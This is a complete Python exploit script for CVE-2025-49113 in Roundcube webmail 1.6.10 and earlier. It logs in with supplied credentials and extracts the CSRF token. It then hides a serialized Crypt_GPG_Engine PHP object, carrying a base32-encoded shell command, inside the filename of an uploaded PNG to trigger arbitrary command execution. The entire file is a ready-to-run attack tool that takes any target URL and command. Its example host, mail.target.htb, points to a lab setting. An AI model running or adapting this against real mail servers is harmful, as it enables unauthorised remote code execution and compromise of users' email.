#!/usr/bin/env python3 """ Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization (CVE-2025-49113) Description: Authenticates to Roundcube webmail and exploits PHP object deserialization vulnerability to execute system commands. Uses only standard libraries for compatibility. """ import argparse import base64 import random import string import http.client import urllib.parse import re import sys from html.parser import HTMLParser class CSRFExtractor(HTMLParser): """HTML Parser to extract CSRF tokens from input fields""" def __init__(self): super().__init__() self.csrf_token = None def handle_starttag(self, tag, attrs): if tag == "input": attrs = dict(attrs) if attrs.get("name") == "_token": self.csrf_token = attrs.get("value", "") class RoundcubeExploit: def __init__(self, target, username, password): # Parse target URL self.target = target.rstrip('/') self.parsed_target = urllib.parse.urlparse(self.target) self.username = username self.password = password self.cookies = {} self.headers = {'User-Agent': 'Mozilla/5.0'} # Validate URL scheme if self.parsed_target.scheme not in ['http', 'https']: raise ValueError("Invalid URL scheme. Use http:// or https://") def _get_connection(self): """Create HTTP/HTTPS connection based on target scheme""" if self.parsed_target.scheme == 'https': return http.client.HTTPSConnection(self.parsed_target.netloc) return http.client.HTTPConnection(self.parsed_target.netloc) def _update_cookies(self, response_headers): """Update cookies from Set-Cookie headers""" for header in response_headers: if header[0].lower() == 'set-cookie': cookie = header[1].split(';')[0] key, value = cookie.split('=', 1) self.cookies[key] = value def _get_cookie_header(self): """Format cookies into header string""" return '; '.join(f"{k}={v}" for k, v in self.cookies.items()) def fetch_csrf_token(self): """Fetch initial CSRF token and session cookies""" conn = self._get_connection() path = self.parsed_target.path + '/?_task=login' conn.request("GET", path, headers=self.headers) res = conn.getresponse() if res.status != 200: raise Exception(f"Failed to fetch login page (HTTP {res.status})") # Extract and update cookies self._update_cookies(res.getheaders()) html = res.read().decode() conn.close() # Parse CSRF token from HTML parser = CSRFExtractor() parser.feed(html) if not parser.csrf_token: raise Exception("CSRF token not found in login page") return parser.csrf_token def login(self, csrf_token): """Authenticate to Roundcube using credentials""" conn = self._get_connection() path = self.parsed_target.path + '/?_task=login' # Prepare login payload post_data = urllib.parse.urlencode({ '_token': csrf_token, '_task': 'login', '_action': 'login', '_url': '_task=login', '_user': self.username, '_pass': self.password }) # Add cookies to headers headers = {**self.headers, 'Content-Type': 'application/x-www-form-urlencoded'} headers['Cookie'] = self._get_cookie_header() conn.request("POST", path, body=post_data, headers=headers) res = conn.getresponse() # Update cookies from response self._update_cookies(res.getheaders()) conn.close() if res.status != 302: raise Exception(f"Login failed (HTTP {res.status})") def generate_payload(self, command): """Create malicious PHP serialized payload""" # Base32 encode command to avoid special characters b32_cmd = base64.b32encode(command.encode()).decode() full_cmd = f'echo "{b32_cmd}" | base32 -d | sh &#' # Construct serialized object payload = ( f'|O:16:"Crypt_GPG_Engine":3:' f'{{s:8:"_process";b:0;' f's:8:"_gpgconf";s:{len(full_cmd)}:"{full_cmd}";' f's:8:"_homedir";s:0:"";}}' ) # Escape double quotes for filename return payload.replace('"', '\\"') def execute_exploit(self, command): """Upload malicious payload and trigger command execution""" # Generate payload filename payload_filename = self.generate_payload(command) # Prepare multipart form data boundary = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) png_data = base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==') # Build multipart body body = ( f"--{boundary}\r\n" f'Content-Disposition: form-data; name="_file[]"; filename="{payload_filename}"\r\n' f"Content-Type: image/png\r\n\r\n" ).encode() + png_data + f"\r\n--{boundary}--\r\n".encode() # Generate random URL parameters actions = ['compose', 'reply', 'import', 'settings', 'folders', 'identity'] url_params = urllib.parse.urlencode({ '_task': 'settings', '_remote': '1', '_from': f'edit-!{random.choice(actions)}', '_id': ''.join(random.choices(string.hexdigits, k=8)), '_uploadid': f'upload{int(time.time()*1000)}', '_action': 'upload' }) # Prepare request conn = self._get_connection() path = f"{self.parsed_target.path}/?{url_params}" headers = { **self.headers, 'Content-Type': f'multipart/form-data; boundary={boundary}', 'Cookie': self._get_cookie_header(), 'Content-Length': str(len(body)) } # Send exploit payload conn.request("POST", path, body=body, headers=headers) res = conn.getresponse() conn.close() if res.status != 200: print(f"[!] Exploit may have failed (HTTP {res.status})") else: print("[+] Exploit completed. Check for command execution.") def main(): parser = argparse.ArgumentParser(description='Roundcube CVE-2025-49113 Exploit') parser.add_argument('-u', '--username', required=True, help='Roundcube username') parser.add_argument('-p', '--password', required=True, help='Roundcube password') parser.add_argument('-i', '--target', required=True, help='Target URL (e.g., http://mail.target.htb)') parser.add_argument('-x', '--command', required=True, help='Command to execute') args = parser.parse_args() try: print("[*] Starting Roundcube exploit (CVE-2025-49113)") # Initialize exploit exploit = RoundcubeExploit(args.target, args.username, args.password) # Step 1: Get CSRF token print("[*] Fetching CSRF token...") csrf_token = exploit.fetch_csrf_token() print(f"[+] Got CSRF token: {csrf_token}") # Step 2: Authenticate print("[*] Authenticating...") exploit.login(csrf_token) print("[+] Authentication successful") # Step 3: Execute exploit print(f"[*] Executing command: {args.command}") exploit.execute_exploit(args.command) print("[+] Exploit completed. Check target for command execution.") except Exception as e: print(f"[-] Exploit failed: {str(e)}", file=sys.stderr) sys.exit(1) if __name__ == "__main__": import time # Import moved here for clarity main()